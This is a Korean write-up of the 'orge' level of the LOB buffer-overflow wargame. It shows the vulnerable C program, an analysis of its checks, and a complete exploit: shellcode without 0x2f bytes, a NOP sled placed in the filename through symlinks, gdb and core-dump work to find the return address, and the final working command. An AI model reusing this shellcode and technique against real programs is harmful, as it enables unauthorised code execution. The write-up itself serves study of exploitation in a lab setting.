[LOB] orge
orge로 로그인하고 문제를 확인하면 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
코드를 확인하면,
1. if(argc !=2) 조건이 추가되어 파일명 외에 인자로 1개만 넣을 수 있다.
☞ 이 부분이 이문제에서 새로 추가된 부분이다.
2. environ 환경변수를 가리키는 포인터로 환경변수를 0으로 설정
☞ 환경변수에 쉘을 넣고 문제를 푸는 거 불가
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
3. if(strlen(argv[1]) > 48)에서 두 번째 인자값이 48bytes이상이 되면 안 된다.
4. strcpy(buffer, argv[1]);에서 인자 길이를 지정하지 않아서 버퍼오버플로우 공격이 가능하다.
5. if(argv[1][47]!='\xbf')에서 48bytes째에서 입력 인자가 '\xbf'가 되어야 한다.
6. buffer를 40bytes까지 0으로 설정이 된다.
// buffer hunter
memset(buffer, 0, 40);
7. argv[1]를 argv[1]길이 만큼 0으로 설정
// one more!
memset(argv[1], 0, strlen(argv[1]));
☞ 이 부분이 이문제에서 새로 추가된 부분이다.
이 문제를 기존처럼 인자에 쉘코드를 넣어서 문제를 풀 수 없기 때문에
이번에는 파일명에 쉘코드를 넣어서 문제를 풀어야 한다!
1. 기존 파일명을 바꾸지 않고 ln -s 을 사용하도록 하겠다.
2. 파일명여 \2f가 있으면 /로 인식이 되기 때문에 \2f가 없는 쉘코드가 필요하다
\2f 없는 쉘코드 : \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
3. 분석을 위해서
1) 우선, /tmp로 troll 파일을 복사한다.
2) 그리면 파일명(argv[0])에 NOP + 쉘코드 를 설정한다.
mv troll `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
3) 그러고 나서 해당 파일로 gdb분석을 해본다.
→ 위에처럼 설정한 파일은 불러지지 않아서, gdb `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` 이렇게 열어야 한다.
4) gdb에서 확인해 보면,
- 변수를 위해서 44bytes할당
기존과 동일하다.
- (gdb) b*main+127
- (gdb) r `python -c 'print "A"*44+"주소"'`을 하게 되면
위처럼 분석이 되는데 주소가 약간 이상하다.
파일을 한번 실행하고 core파일을 실행해 본다. 인자로는 A*44 + ret아무거나로 주었다.
./`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\xa0\xfb\xff\xbf"'`
- $ gdb -q -c core
- (gdb) x/200wx $esp 로 확인
0x90이 들어 있는 주소를 선택 0xbffffb40
4. argv[1] 인자로는 dummy + RET (argv[0]주소:0xbffffb40)
`python -c 'print "A"*44+"\x40\xfb\xff\xbf"'`
5. tmp파일에서 제대로 실행되는 것을 확인하고, 실제 troll 이름을 바꾸기 어려우니까 ln -s 로 파일명을 [NOP + 쉘코드] 로 바꿔준다.
ln -s troll `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
해당 파일에 인자값을 주소 아래와 같이 실행을 한다.
./`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x40\xfb\xff\xbf"'`
성공!